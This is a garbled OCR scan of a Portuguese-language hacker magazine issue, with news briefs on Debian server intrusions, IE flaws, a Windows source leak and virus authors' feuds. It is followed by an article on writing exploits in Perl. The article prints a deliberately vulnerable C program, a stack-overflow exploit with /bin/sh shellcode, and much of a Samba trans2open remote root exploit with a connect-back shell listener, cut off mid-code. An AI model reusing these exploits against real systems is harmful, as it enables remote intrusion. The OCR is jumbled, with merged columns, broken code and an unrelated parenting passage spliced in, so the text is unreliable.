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Editorial

Ern nossa busca por fazer uma revista
cada vez melhor, conseguimos um feito
muito importante: a parceria com uma das
mais impeortantes revistas de hackerismo
do munde (além de ser uma das primei-
ras), a 2600.

Ela é uma revista feita nos EUA, gue reline
as descobertas mais importantes da
indstria de seguranca de software de
mundo. Nem todas as descobertas sao
exatamente legais, mas sao importantes
IMesma assim.

Nesta revista, nds entramos de cabeca
na criacao de exploits. E exploits feitos
em Perl, uma das linguagens de progra-
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Firewall Transparente

macao mais “pops” do momento. Como
cria-los e torna-los poderasos usados em
ataques e prevencoes.

0 QT é o gue torna o Linux mais bonito.
Base para a criacao do KDE, € a linguagem
de programacao visual mais importante
para osistema operacional alternative. Os
amantes da linha de comando gue nos
perdoem mas um software bonito e
visualmente bem crganizado é fundamen-
tal para 2 popularizacdo do Linux.
Também detonamaos na matéria sobre o
Tuturo dos virus (seré que nos é gue

i
i

teremos futuro?) e o Firewal iranspareﬁte‘
O CD também premete: colocamos as duas
mais importantes distribuicoes Lin
voltadas exclusivamente para seguranga,
aléem de muitos exploits e virus gue podem
ser estudados. Afinal, sdo minUsculas pecas

de pragramacao mas os melhores diaman-
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LaDrao gue rouBa Lanran
Hackers ameacam agenciadores de apostas da Web

o

" Um novo tipo de atague esta se disseminando pela Web. Um grupo de
hackers, supostamente do leste europeu, esta ameacando agenciadores
de apostas da Internet exigindo dinheiro em troca de seguranca.

De acordo com o Jornal Financial Times, apontadores de grandes eventos
como o Superbowl - de futebol americano - receberam e-mails nos quais
suas empresas eram ameacadas de invasao virtual. Entre os danos
prometidos estariam a invasao a bancos de dados e o blogueio de
gateways, além de zoeira com roteadores.

AGagues MmancHam .
MrepuGdcdi DO DeBidn j\
Problemas no kernel fazem com que* .

varios projetos deixem de rodar a
“eony.. distro em seus servidores

5° Forum Internacional
A tecnologia que liberta

Software Livre

Pouco antes de

?pd‘- lancar a versao
“y 3.0r2, algumas S
ol

maquinas do

projeto Debian
foram invadidas e seus servicos foram comprometides.
Entre elas, a master (sistema de Bugs), murphy (listas),
gluck (cvs) e kleker (seguranca, www-master, busca).

e 5 de junho, o V Férum

2

‘A distro tinha fama de ser extremamente estavel,

S
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principalmente devido aos vdrios testes que sao realizados
antes de uma nova versao ser disponibilizada ao publico.
Entretanto, o fato de alguém ter conseguido entrar nas
maquinas do projeto, conseguir privilégio de usuario root e

o social/digital, politica/filosofia,

re. O evento é considerado um dos
a

melhores do pais devido ao fato de promover o encontro de
lus

software livre em governos, comunidade, cases,
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instalar arquivos para danificar o sistema fez com que
muitos projetos que rodavarm Debian em seus servidores

r

migrassem para outras distribuicdes, entre eles o Mplayer.

De acordo com os desenvolvedores do projeto, o problema
que afetava versdes anteriores ja foi consertado. Para
mais informagdes, acesse a pagina de seguranca:

debates, além de contar tamhém com sessoes livres que podem ser

diversos hackers e programadores, oferecer palestras, workshops e
ocupadas por grupos para debates.
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O férum teréd apresentacao de trabalhos em palestras divididas

desenvolvimento, bancos de dados, redes e desktop.

Acontece em Porto Alegre, entre os dia
Para mais informagdes, acesse:

CONGresso Laure
Internacional de Software

temas propostos,

http:/Anvww.debian.org/security/




Passaro uira rarosa

Navegador do Mozilla
muda de nome

O Firebird transforma-se em Firefox e apresenta ao
usudrio mais leveza, robustez e usabilidade. O navega-
dor é facil de instalar, oferece diversas opcées de layout
e suporte para o Mac OS. o

A mudanca de nome ocorreu por causa de um
conflito com outro software livre: a base de dados
Firebird. De acordo com a Mozilla Foundation, o
projeto desse navegador é apresentar aos usuarios
uma nova gerac¢do de browsers com inovacées que
prometem deixar o Internet Explorer no passado,
inclusive em plataformas Windows.

Mais informacdes,

http:/Avww.mozilla.org/products/firefox/

EMMOS NO INGEerNes
EXPLOMEr PoGenciam

UlLnNneraBiLinadDe

Mais dois problemas no browser da
Microsoft

Usudrios do Internet Explorer estéo
mais suscetiveis a ataques de virus.

ao se clicar em links. Vocé pode
acabar baixando um arquivo
infectado em vez de estar simples-
mente naveganda. Esse arquivo &
conhecido como virus de script, ou
SEja éum arquwo que fica escondido atras de um link. ©
gue pode acontecer também é que, ao baixar algo da Web,

A primeira falha encontrada ocorre

UoLGAd DO NaPsL:enr
gecepciona
Relancamento ¢ bem diferente do original

Quando o software de troca de arquivos de musica Napster
explodiu na Internet ha anos atras, ninguém imaginava o rebulico
que iria causar. Os paradigmas mudaram, a‘transmissao de
informacaes entre as p pessoas jd nao estaria submissa a uma
corporacao que intermediaria essa ligacéo, a troca de arquivos foi a

ferramenta gue causou uma grande mudanca na Web,

Mas tudo isso e coisa do passado. Agora, o Napster, que ainda
tenta se livrar 0s na Justica, se tornou uma empresa, Nao

coisa de gente grande.

as pela Internet @ page e tem
era que aglientamos jaba até na Web?

O servico de downloa

)

cordos com as gravadoras.

vocé na verdade nao esteja fazendo o download do que
deseja, mas de um outro arquivo.

0 segundo problema que foi detectado é a navegacio em
_sites fantasmas, ou seja, vocé acha que estd navegando em

um site, mas na verdade estd em outro.

Essas falhas foram divulgadas pela empresa dinamarquesa
Secunia e, de acordo com a Microsoft, ja podem ser corrigidas.
Portanto, se vocé usa o Internet Explorer, & recomendavel que
faca a atﬁa_iizagéo oferecida pela empresa nesse link:

 http/Awaw.microsoft.comAwindows/i eldownloads/crlt:cal/
- 818529/default.asp



NnouUa OPCA0 De Banoa
LArGa

ADSL 2+ é lancado durante a
Telexpo

0 ISMA (Th_é _tﬁ_{_émét”

Em marco, a Lucent Techonolgies anunciou durante a Streaming Media Allianc
feira de tecnologia e*telecomunicacées, a Telexpa, o esta desenvo!uendo m.
lancamento do ADSL 2+, uma nova solucio para o sisterna de C”PmQFaf'a
acesso em banda larga. O grande diferencial dessa nova garantrr 2 mtegrldaﬂe :
versao & a velocidade 2. 2MHz e capacidade de transmissdo. Dessa forma, os -

downstream de 20Mb. : dados de dudioe video
seriam-c@t’iiﬂfc’adps:no ponto

Dessa forma, se comparadc ao ADSL normal, o usuario
tem o dobro da velocidade de navegacio e um maior
alcance. O novo servico também tem suporte para o
broadcast de TV, para video on demand e servicos de IP -
multicast. : - :

Para quem ja possui o servico de ADSL, o novo sistema
chegara como um upgrade. Para quem ainda nao tem
conexdo em banda larga, basta entrar em contate
com as operadoras de telefonia local e verificar se o
servico ja esta disponivel.

grande parte da :

S g
nopulacao i
internauta.

A partir dal,
varias pessoas
comecaram a
colocar em sites o

segredo que era
guardaﬂo a sete chaves pela corporacao de Bill Gates.
Nos dias sequintes, alguns desses sites ficaram fora do ar
'misterlosamente, mas 1sso nac impediu que as partes do
cddigo fossem copiadas e passadas adiante.

Curlosamente ou nao, os comentarios dos programadores
colocados no codigo sao hilarics, caisas como: “iss0 é uma
méerda e vai ficar assim porgue para muda-lo, teria que
mudar guase tudo desta porcaria”, e daf para frente.

Vale a pena dar uma olhada. O cédigo esta disponivel

SEGMEenos No ConiGOo-Fon:e via Bitt.orrent. O nome do torrent é:
00 ULKENDOoUWS windows_2000_source_code.zip.tarrent

O vazamento de informactes mostra

como é tosco o sistema Aqui voce encontra instrucaes sobre como baixar o
codigo-fonte do Windows:

Tudo comecou nos submundos de IRCs subterraneos... Aparen-
temente o vazamento de partes do codigo-fonte de Windows nttpz//slashdet.org/
teve inicio em salas de chats de clientes bem desconhecidos de comnments. pli?sid=966148&cid=8264135




S3NDo D3 AaD0Lescencia
Software Livre completa 20 anos

Em carta aberta para a comunidade Linux, Richard Staliman softwares multimidia livres, vemos que o menino prodigio software
comemorou sua saida do MIT, hd 20 anos, para comecar a livre estd amadurecendo rapidamente.
desenvolver um sistema operacional livre e aberto, o GNU. A

histéria do kernel de Linus Torvalds e o desenvolvimento das

distribuicoes nao sao novidade para ninguém. A pergunta

que fica no ar é: e agora, José?

Mas nem sé de rosas € feita tal carta. Stallman dé suas

alfinetadas também. Ele questiona se as pessoas usam o

software livre por seu aspecto filoséfico cu por mero

modismo. Ataca os desenvolvedores de banco de dados,

linguagens de programacéo e outros softwares proprietarios

que usam o ambiente GNU/Linux para trabalhar.

Stallman prossegue afirmando que “para libertar os cidadaos

do ciberespago, temos que substituir os programas nao-livres,

e nédo aceitd-los”. Dessa forma, ele ressalta que alguns

aplicativos ainda precisam ser desenvolvidos.

rta sobre o répido
esenvolvimento do software livre no mundo. Ou seja, se
levarmos em conta que ha alguns anes nem existia ambiente
gréfico para Linux e gue hoje ja estao sendo desenvalvidos

 ADBUS MP3!
RIAA ganha forte aliado no combate a pirataria

Inicia-se mais um capitulo da guerrainiciadapela RIAA ~ Vale lembrar
(Recording Industry Association of America) contraa ° que,somente
copia e download de musicas. o no an_e,passadb,_ :
- i aRIAA proces-
A Thomson Multimedia, detentora da patente MP3, ~ sout445
juntamente com o Instituto Fraunhoffer, anunciou que o f-p‘ésscaslq_ue
formato passard a utilizar a tecnologia DRM (Digital ‘baixaram
Rights Management). A tecnologia pode restringiro ~~ arquivosde
numero de copias de cada arquivo, ou até rt_ﬁesm'd : '_ ica "eEa;'_' 23
impedir copias. Outros formatos como 0 WMA, da te e
‘Microsoft, e 0o AAC, da Apple, ja utilizam o DRM.

Ao inserir essa tecnologia num dos formatos mais :
populares de audio, o MP3, pretende-se diri?tin_tjir:a troca
ilegal de arquivos de musica. ' ok




NEWS

O ex-funcionario, que confessou a auteria da acao, foi condenado a um ano de prisao

na cidade de Walnut, no estado da Califérnia, por ter usado senhas da administracao
Garcia agora procura oportunidades interessantes em tecnologia diretamente da

. parasua "vinganca pessoal”.
sua cela na prisao.

-

ViewSonic e apagou arquivos importantes que deixaram a
rede inoperante por alguns dias.

administrador de rede Andrew Garcia entrou no sistema da

o
Q
=
e
@
a
vy
[<5)
=
o
@
v
v
ho)
)
D
v
by
A
o]
L]
wy
W
(1o}
)
~CJ
]
-
o
(%)
et
@«
L& 8
o~
(@]
o)
o~
(]

2l

1

nas enGcreLinHas
Criadores de virus trocam “elogios” em meio a codigos

Empresas antivirus que analisaram o
cddige-fonte dos virus MyDoom, Bagle
e Netsky divulgaram que os criadores
trocam grosseiros xingamentos nos
comentarios nos scripts.

'S0 your angel is using potty talk or four-
letter words? You've tried the experts'

k  advice: Don't overreact; be unimpressed
but firm about what's acceptable. Okay,
okay. But it's a rare kid who can resist the
forbidden. One tried-and-true tactic: Let

Aparentemente, a cada nova versao
dos virus, a disputa aumenta.

little kids (ages three to five) use as many
potty words as they wish in the bathroom, For
older kids, set up “trash time"—oae minute a

week when they're allowed to say whatever
they want. It's 2 harmless way for them to get
out all their “poo-poo heads"—and worse.

O NetskyF, que foi “langado” no
principio de marco, continha uma
mensagem dizendo que o Bagle é

um perdedor ( “Bagle - you are a looser!!11”). Os criadores do Bagle responderam ao
hgie o

Netsky com palavroes.

Na versao anterior do virus Netsky, a “vitima"” era o MyDoompF, acusado de roubar sua idéia
("MyDoom.F is a thief of our idea!”). Chega a ser irénica uma briga por propriedade intelectual

até na criacao de virus.

somence parad cConuinanos
Ferramenta de comunicacao de funcionario do

Google une comunidades

Vocé ainda nao recebeu um e-mail com o
assunto “join orkut”? Onde estao seus amigos?
Estao todos desconectados do munda virtual?

Seja paciente. Mais cedo ou mais tarde, a
moda gue invadiu a Internet nos Ultimos
nao existe

meses chegara ate vocs, afinal,

aquela teoria que afirma gque todas as

pessoas estao a um grau de seis pessoas ae

distancia umas das outra

Orkut.com é uma ferramenta para unir
comunidades virtuais. Serve
cenectar amigos, quanto para encontrar

idos. Apos algum

pessoas com gostos pare:
tempo de Uso, sua rede val crescendo, seus

amigos e fas aumentando e vaceé ainda pode
visualizar sua rede de amigos e criar comunida-
des. Além disso tudo pode classificar os conheci-

dos virtuais, os amigos e os melhores amigos.

Mais da metade das pessoas cadastradas no site

mora nos Estados Unidos, sdo solteiros e com idade

~entre 18 e 25 anos. O Orkut faz sucesso também por

tersido criado por um funcionario do Google,
nele diversos profissionais que trabalham

na fameosa ferramenta de busca, além de outros

constando |

como Jonh Perry Barlow e Terry

EdiEy (66)  Faliss (76) E@q‘l‘{m‘t Robaito (38) Mircio (13) fpsas (21)



A MULHEr nos SsonHos
Empregada-robé lava, passa, cozinha e
xinga sensualmente

Valerie pode fazer “a maior parte dos servicos domésticos e te dar mais tempo livre”, de

acordo com o gue a propria andréide fala para vocé ao se apresentar.

Ela pge a mesa, lava, passa e ainda pode aprender outros trabalhos bracais gue vocé
queira ensinar! Valerie ja vem com um CD-ROM ensinando-a a ditar palavrées, a Biblia e o

Alcardo. O pacote basico da garcta para trabalhos corporais sai por US$59 mil.

Mudar a cor dos olhos, cabelos e pele dessa nova versao da Rese (a empregada-robé do
desenho The Jetsons) pode ser feito sem custo adicional para o cliente. Valerie nao é, no
entanto, uma moca prata-metalico. Mais parece uma espécie de robo limitado do tipo
utilizado em filmes trash de Hollywood. O AndroidWorld.com, gue comercializa a moca,
possul outros robos curiesos a venda, come um bebé gue pode ser desligado ao chorar.

No momento, a superandroide so esta dispanivel em inglés, mas com opcao para sotague

britanico ou americano.

http:/Avww.andreoidworld.com/prod19.him

SCO Concra-asaca

Tatica da empresa afirma que spam é
propriedade intelectual

N&o satisfeita com

os atagues do

virus MyDoom, a

SCO continua

acusandoa
comunidade Linux de pldgio na utilizacio de parte de cdigo-
fonte *nix para a criacdo de um sistema cperacional livre e
aberto. Desta vez, a corporagdo processa a AutoZone e a
DaimlerChrysler, prosseguindo com sua estratégia de atacar
primeiro empresas que utilizam Linux, antes de partir contra os
Usudrios caseiros.

Em 2003, a SCO enviou cerca de 1500 e-mails para empresas
que utilizam Linux, exiginde o pagamento de US$ 700 para
evitar procedimentos judiciais maiores. O presidente da SCO,
Darl McBride, afirmou que a empresa “vai proteger e reforcar
vigorosamente a propriedade intelectual”.

A defesa a tais atagues, além de vir de milhares de
desenvolvedores Linux e de usudrios de algumas das muitas
distribuicdes do sistema operacional, chega também por parte
da IBM e da Intel que tém contribuido financeiramente nos
dltimos meses com as empresas que estao sendo processadas.

UiGiLAancia na wep

Novo programa monitora arquivos
baixados

A partir de agora, tome ainda mais cuidado com o tipo de
material que vocé baixa da Internet. Come se nao bastas-
sem 0s processos abertas pela RIAA (Recording Industry
Association of America), os censores agora tam acesso 3
ferramenta CopySense, que monitera as redes de transfe-
réncia de arquivos P2P e que pode também blequear os
downloads de arquives protegides por copyright.

O programa criado pela empresa Audible Magic, localizada
nos Estados Unidos, pode ser implementado tanto nos
programas de troca de arquivos, como o KaZaA ou o
Seulseek, guanto nos roteadores de rede ounos modems.

De acordo com a empresa, o programa possui um funciona-
mento parecido com o dos antivirts, ou seja, faz uma
varredura dos discos rigidos @ procura de arquivos ilegais de
programas, musicas e filmes.

Este € mais um capitulo da briga contra o compartilhamento




EXPLO'TS EM PERL Por Antonic Marcelo

Uma Introducao
a Criacao d
- Exploits em Perl

Perl-(Practical Extraction and com o Perl. H4 cerca de um ano, no era sinonimo do CGI, ou'seja, para

Report Language) foi desenvolvi- entanto, fui apresentado a linguagem de desenvolvimento Web, especialmente

do por Larry Wall nos tempos em maneira informal numa viagem de énibus formulérios, mecanismos de procura, etc.
que trabalhou para a NSA (National para Sao Paulo por dois amigos: Ramoni Como eu estava erradol
Security Agency), por volta de 1987, Larry (Projeto Pigmeat) e Felipe Cergueira O Perl & muito, muito mais
queria eriar uma linguagem simples gue (Buffer Overflow). No inicio, figuei meio poderoso e facil de aprender. Tanto é
fosse facilmente assimilada, e que permitis- descrente, mas resolvi investir e, um més gue, em duas semanas, eu ja estava com o
se gerar relatdrios e extrair informacées de depois, nascia o projeto Honeypot com o primeiro protétipo rodando e na progucac
texto. Mal sabia ele que estava criando primeiro sensor, o Fake Squid. Heje, temas  de meu software. Esta certo que meu
uma das linguagens de programacao mais o Honeyperl, um software de Honeypot conhecimento de C ANSI ajudou, mas o
poderosas e simples de pragramar. com funcoes de IDS e Tarpit totalmente Perl rapidamente foi assimilade por outros

Muitos programadores, inclusive escrito em Perl. membros de nosso projeto e se tornou a

au, podem ter um grande preconceito A minha visdo era de gue o Perl linguagem padrao de desenvolvimento.

> Caracteristicas do Perl

O Perl é uma linguagem interpretada, que necessita ser instalada

http://www.cpan.org

no micro (no Linux atualmente temos a versao 5.8). O arquivo é um
software livre, licenciado inicialmente na chamada GNU Artistic
cense (versao 4.0}, e pode ser utilizado livremente por todos que

desejam desenvolver ferramentas para ele. Para os usuarios que preferem utilizar software proprietério como
Hoje, o Perl conta com um dos recursos mais importanies sistema operacional, existe uma versao do Perl conhecida como
que existem: os Modulos de Perl. Esses madulos sao novas funcées Active Perl, que pode ser baixada no proprio site da Perl Foundation.

incorporadas por programadaores no mundo inteiro. Eles executam
centenas de funcoes, desde sockets até inteligéncia artificial. Essas
bibliotecas possuem a extensaoc .p/me podem ser baixadas no site http://www.perl.org
da CPAN (Comprehensive Perl Archive Network).

10



> Exploits em Perl

-

! & raramente

tes, mas

utilizada, contudo alguns programadores muito experien
, costumam fazer dessa maneira.

—~ 2]

clescreverem€ e

sembld-lo " (desculpem este ditimo

q
17

termeo...) 7 a maneira mais comum, tonto que 10 em cada 10

programadores gostam de utiliza-1a.

Para quem nao conhece nada disso, recomendo aleitura deste

artigo para entendermos um pouco mais como gerar shellcodes,

Em 2000, a telehOr publicou um artigo mostrando passo a

a) Fazer um estouro de pilha, tipica de um buffer cverflow,

num pregrama vulneravel;

o) Estudar a pitha;

€) Recuperar os enderecos de retorno;

ol Escrever o shellcode;

e) Gerar o exploit -

Vamos passo & passo fazer o exploit para que possamos entender a
istica por tras desse tipo de coisa.

a) escrever diretamente em cadigo hexadecimal, ou seja, ja colocar misti
s
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L
2
o)
o
B
>
v
(25}
=
-+
)
=)
=
D
(%))
o
ot
A%l
)
o
D
o
Lat)
FanY
O
@
12
o
v
wy
i
=
=
=
=
[y
=)
m
o
=

>> O programa vulneravel

Viamos fazer um programa classico gue tem um problema com uma
variavel com no maximo 1.024 caracteres de memoria. Este ponto }

mostra que podemos explorar um possivel buffer overflow. Esse :
: strepy(variavel, (char

programa foi feito originalmente na telehOr, mas vamos detalha-lo *) getenv (“VULNERAVEL") ) :

melhor. printf(“Variavel de ambiete VULNERAVEL
e:\n\”%s\”.\n\n"”, variavel);

printf (“OK\n”) ;

return 0;

- Em seguida, compile-o.

root@oldmbox:~# gcc -o vulne vulne.c
vuln.c: In function ‘main’

vuln.c:5: warning: comparison between pointer
#include <stdio.h> and integer

int main() {

char variavel[1024];

if (getenv (“VULNERAVEL”)
fprintf (stderr, “OK\n”); :
exit (1) ; Agor St e

| de sisterna VARIAVEL com 2 048

aqui bem grande!

11
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root@oldmbox:~# export
VULNERAVEL='perl -e ‘{print
\\Allx112048“}’ b

Em seguida, vamos rodar o nosso bom e velno gdb
e executar o programa com o comando /do gdb:

root@dex-fir:~# gdb vuln

GNU gdb 5.3

Copyright 2002 Free Software
Foundatien, Inc.

GDB is free software, covered by
the GNU General Public License,
and you are

welcome to change it and/or
distribute copies of it under
certain conditions.

Type “show copying” to see the
conditions.

There is absolutely no warranty
for GDB. Type “show warranty”
for details.

This GDB was configured as “i386-
slackware-linux”...

(gdb) ¢

Starting program: /root/vuln
Variavel de ambiente VULNERAVEL

e:

12

Exemplo de vulnerabilidade

Program received signal
SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb)

Vejamos agora um fator importante: temos
um estouro de stack em 0x41414141, ou
estouramos a drea de 1.024 e
sobrescrevemos o end
Vale

seguranca, Como o grs

embrar que certo

W grsecurity.net), impede

vamos pegar o valor do stack

PR lais
HHCATMeS O eXpioit:



(gdb) info reg esp sprintf (*%1x’, ($ret + Soffset)),
esp  OxbEE££250 *\n7)';
OxbEf£££250
#Aqui, adicionamos o nosso offset
para a stack pointer

$new ret = pack('l’, (Sret +
Soffset));

for ($i += length($shellcode); $i
< $len; $i += 4) {

Sbuffer .= $new ret;

3

local ($ENV{ VULNERAVEL’}) =
Sbuffer; exec(“/bin/vulne”);

#! /usr/bin/perl

#Comegamos a definir o
shellcode abaixo

Sshellcode =
"\xeb\x1£\x5e\x89\x76\x0
8\x31\xc0\x88\x46\x07\x89~.
"\ x46\x0c\xb0\x0b\x89\x£3\
x8d\x4e\x08\x8d\x56\x0c”.
"\xcd\x80\x31\xdb\x89\xd8
\x40\xcd\x80\xe8\xdc\x££” .
“\xEff\xff/bin/sh";

“1inxB6~ => [0xbEffff3ff,
$len = 2048 + 8; # O mnosso Oxbffff£££f, O0xb£f000000, 512,
bufer \&CreateBuffer 1inx861,
$ret = O0xbff£ff250; # O “solx86” => [0x08047404,
enderego de crash do stack 0x08047£fc, 0x08010101, 512,
pointer \&CreateBuffer solx86],
$nop = ™\x907; # x86 NOP - “fbsdxB6” => [0xbfbfefff,
nosso payload Oxbfbff£££f, 0xbf000000, 512,
Soffset = -1000; # Default \&CreateBuffer bsdx86],
offset para tentativa

if (@ARGV == 1) {

Soffset = SARGVI[O0];

} :

for ($i = 0; $i < ($len -
length ($shellcode) - 100);
Siss) {

$buffer .= S$nop;

}

# [agqui o Buffer j& esta
como : NNNNNNNNNNNNNN]

# Vamos colocar cerca de 885
NOP’s)

Sbuffer .= $shellcode;

#Vamos agora reservar espago
para o nosso shellcode

print (“Address: 0x”,

i
Ly
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cookie motd\n”;

3
} continue {
Socket; print $client “Comando? “;

I0: :Socket;
I0::8elect; close Sclient;

}

ia Telnet, um cliante se conecte

ar uma lista de comandas predeter-

er como é poderoso o Perl,

dar uma pincelads bem introdutdria neste assunto
gue pode fazer
#! /usr/bin/perl -w
use IO::Socket;
use Net::hostent;

muito mais

$PORT = 20000; # porta para a
conexd@o & escolha do programador.

$server = IO::Socket::INET->new( Proto
‘top’,
LocalPort =>

SPORT, Designing Shellcode Desmistified - Murat

Listen i &
http:/Avww.enderunix.org
Reuse

1); PC Assembly Book: Prof. Paul A Carter

http:/Anwww .drpaulcarter.com/pcasm

die “n8o posso iniciar o servidor” unless
$server;
print “[Servidor $0 aceitando conexes]\n”;

Unix Assembly Codes Development For
Vulnerabilities Illustration Purpouses e
exemplos de shellcode
while ($client = $server->accept()) { : = b
. http://lsd-pl.net/documents/asmcodes-1.0.2..pdf
print $client “Bem-vindo ao $0; digite help
para lista de comandos.\n”;
$hostinfo = gethostbyaddr($client-
speeraddr) ;
printf “[Conectado de %s]\n”, shostinfo-
>name || $client->peerhost;
print Sclient “Comando? “;
while ( <$clients) {
next unless /\S/; #
if (/quit|exit/i) { last;

A Short Introduction to Operating
Systems: Mark Burges

hito.//www.iu. hio. no/~mark/os/os. htmi(recomen-
dado)

Buffer Overflow
http://community.corest.com/~juliano/

}

elsif (/date|time/i) { printf $client
“%3\n”, scalar localtime;

elsif (/who/i ) { print &client
‘who 2>&1%;

elsif (/cookie/i ) { print $client

‘/usr/games/fortune 25&1‘; B
elsif (/motd/i ) { print $client >> EXplOlt em Perl do Samba

‘cat /etc/motd 25&1‘;
else {
print $client “Comandos: quit date who




#1/usr/bin/perl
b

" ##[ Header

# Name:-
trans2root.pl

# Purpose: Proof of
concept exploit for Samba
2.2.x (trans2open overflow)
# Autho®: H D Moore
<hdmoore@digitaldefense.net>
# Copyright: Copyright
(C) 2003 Digital Defense
Inc.

# trans2root.pl <options> -
t <target type> -H <your ip>
-h <target ip>

##

use strict;

use Socket;

use I0::Socket;
use IO::Select;
use POSIX;

use Getopt::Std;

$SIG{USR2} = \&CoAway;

my %args;
my %targets =
(

BlAmaes6d s =
[OxbEEEE3EE, OxbEEEEEEE,
0xb£000000, 512,
\&CreateBuffer 1inx8é6],

“"s0lxB86” =>
[0x08047404, 0x08047ffc,
0x08010101, 512,
\&CreateBuffer solx86],

“fbsdx86” =>
[0xbfbfefff, Oxbfbfffff,
0xb£000000, 512,
\&CreateBuffer bsdx86],

# name # default
# start # end #
step # function
)i

getopt (*t:M:h:p:r:
\%args) ;

my starget type sargs{t}
|| Usage();

my $target host = $args{h}
|| Usage();

my $local host $args{H}
|| Usage():

my $local port sargs{P}
[| 1981;

my $target port = $args{p}
|| 139;

my $target mode “brute”;

if (¢
exists($targets{$target_ﬁype}))
{ Usage(); }

print “[*] Using target
type: sStarget type\n”;

# allow single mode via the

-M option

if ($args{M} && uc($args{M})
eq \\Sll)

{

$target mode = “single”;

# the parent process listens
for an incoming connection

# the child process handles
the actual exploitation

my $listen pid = $3;

my $exploit pid =
StartListener($local port);

# get the default return
address for single mode

my $targ ret = $args{r} ||
$targets{$target type}->I[0];
my S$curr ret;

$targ ret = eval($targ ret);

if ($target mode !~ /
brute|single/)

{
print “[*] Invalid
attack mode: $target mode
(single or brute only)\n”;
exit (0) ;
}

if (Starget mode eq
“gingle”)

Scurr ret = $targ ret;
if (! S$targ ret)

{
print “[*] Invalid
return address
specified!\n”;
kill (“OsSRr2",
$listen pid);
exit (0);
1

print “[*] Starting
single shot mode...\n”;

printf (*[*] Using
return address of 0x%.8x\n”,
starg ret);

my S$buf =
S$targets{$target type}->[4]-
>($local host, $local port,
S$targ ret);

my Sret =
AttemptExploit ($target host,
Starget port, Sbuf);

sleep(2);
kill (“USR2”",
$listen pid);
exit(0);
}

if ($target mode eqg “brute”)

print *[*] Starting
brute force mode...\n”;

For =i

Scurr ret
=$targets{$target type}-
>[1];

$curr;ret S=
$targets{Starget type}->[2];

Scurr ret -
=$targets{$target type}->[3]

)
{

$|++z

select (STDOUT) ;

my Sbuf =
$targets{$target type}->[4]-
>($local host, $local port,
$curr ret);

printf (=
\r[*] Return Address:
0x%.8x7, $curr ret);

my $ret =
AttemptExploit($target host,
$target_port, S$buf);

sleep(2);
I F (RUSR2ES
$listen pid);
exit (0) ;
%

sub Usage {

print STDERR “\n”*;

print STDERR ™
trans2root.pl - Samba 2.2.x
‘trans2open() * Remote
Exploit\n”;

print STDERR

No\er’;

print STDERR * Usage:
XnZ:

print STDERR “
$0 <optiomns> -t <target
type> -H <your ip> -h
<target ip>\n”;

print STDERR “ Options:
\n”;

print STDERR
-M (S|B) <single
mode>\n” ;

print STDERR
- <return address for
single mode>\n”;

print STDERR ™
-p <alternate Samba
port>\n~;

print STDERR “
-P <alternate listener
port>\n~;

print STDERR “
Targets:\n”;

foreach my $type
(keys (%targets))

{
print STDERR ™
Stype\n”;

print STDERR “\n”;

exit(1l);
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sub StartListener {
my ($local port) = @ ;
my $listen pid = $$;

my $s = IO::Socket::INET->new (
Proto => “tep”,
LocalPort => $local port,
Type => SOCK_STREAM,
Listen => 3,
ReugeAddr => 1

) ;

if (! $s)
{ -
print “[*] Could not start listener:
$i\n7;
}

print “[*] Listener started omn port
$local port\n”;

exit (0);

my $exploit pid = fork();
if ($exploit pid)
{

my S$victim;

$sIG{USR2} = \&GoAway;

while ($victim = $s->accept())

kill (“USR2”, $exploit pid);
print STDOUT “\n[*] Starting Shell
$victim->peerhost . “;” . Svictim->peerport
“\n\n”;

}

exit (0);

StartShell ($victim);

}

return ($exploit pid):

StartShell {
my ($client) = @_;
my $sel = IO::Select->new();

Unblock (*STDIN) ;
Unblock (*STDOUT) ;
Unblock($client) ;

select (§client); §|++;
select (STDIN) ; §|++;
select (STDOUT) ; &|++:

$sel->add($client);
$sel->add (*STDIN) ;

print $client “echo \\-\\-\\=\\[ Welcome to
“hostname~ \\ (Tid~\\)\n~;
print $client “echo \n”;

while (fileno($client))

{
my $Ed;
my @fds = $sel->can read(0.2);

foreach $fd (@fds)
{

my @in = <$£d>;

if (! scalar(@in)) { next: }

if (1 $£4 || 1 $client)

{
print *[*] Closing
connection.\n”;
close($client) ;
exit (0) ;

3
if ($£fd eg S$client)

il

print STDOUT join(“”, @in);
} else {

print $client join(™”, @in);

}

close ($client);

}

sub AttemptExploit {
my ($Host, S$Port, $Exploit) = @ ;
my $res;

my $s = IO::Socket::INET->new(PeerAddr =>
$Host, PeerPort => §$Port, Type
=> SOCK_STREAM, Protocol => “tcp”);

if (I $8)

{
print “\n[*] Error: could not connect:
$i\n";
kill (“USR2”, $listen pid);
exit (0);

}

select($s); $|++;
select (STDOUT) ; $|++;
Unblock ($s) ;

my $SetupSession =

"\x00\x00\x00\x2e\xfE\x53\

x4d\x42\x73\x00\x00\x00\x00\x08" .
“\x00\x00\x00\x00\x00\x00\x00\x00\

x00\x00\x00\x00\x00\x00\x00\x00".
“\x00\x00\x00\x00\x00\x00\x00\x£f£\

x00\x00\x00\x00\x20\x02\x00\x01".
“\x00\x00\x00\x00";

my $TreeConnect =
"\x00\x00\x00\x3c\xff\x53\x4d
\x42\x70\x00\x00\x00\x00\x00".
"\ x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x64\x00~.
"\x00\x00\x64\x00\x00\x00\x00\x00\
x00\x00\x5c\x5c\x69\x70\x63\x24" .
“\x25\x6e\x6£\x62\x6£\x64\x79\x00\
x00\x00\x00\x00\x00\x00\x49\x50".
“\x43\x24";

my $Flush = (™\x00” x 808);

print $s $SetupSession;
$res = ReadResponse ($s3) ;

print $s $TreeConmnect;
$res = ReadResponse($s);

# uncomment this for diagnostics
#print “[*] Press Enter to Continue...\n”";
#$res = <STDIN>;




#print “[*] Sending Exploit Buffer...\n”;

print $s $Exploit;
print $s $Flush;
ReadResponse ($3) ;
close ($s) ;

CreateBuffer 1inx86 {
my ($Host, $Port, S$Return) = @ ;

my S$RetAddr = eval($Return):
$RetAddr = pack(™l”, $SRetAddr);

my (sal, $a2, $a3, $a4) = split(//,
gethostbyname ($Host) ) ;

$al = chr(ord($al) * 0x93);

$a2 = chr(ord($az2) 0x93) ;

a3 chr (ord($a3) 0x93) ;

Sa4d chr (ord($a4) 0x93) ;

my ($pl, $p2) = split(//, reverse(pack(“s”,
$Port))); e

$pl = chr(ord($pl) * 0x93);

$p2 chr (ord ($p2) * 0x93);

my S$exploit =
# trigger the trans2open overflow
“\x00\x04\x08\x20\xE£\x53 \x4d\x42
\x32\x00\x00\x00\x00\x00\x00\x00~" .
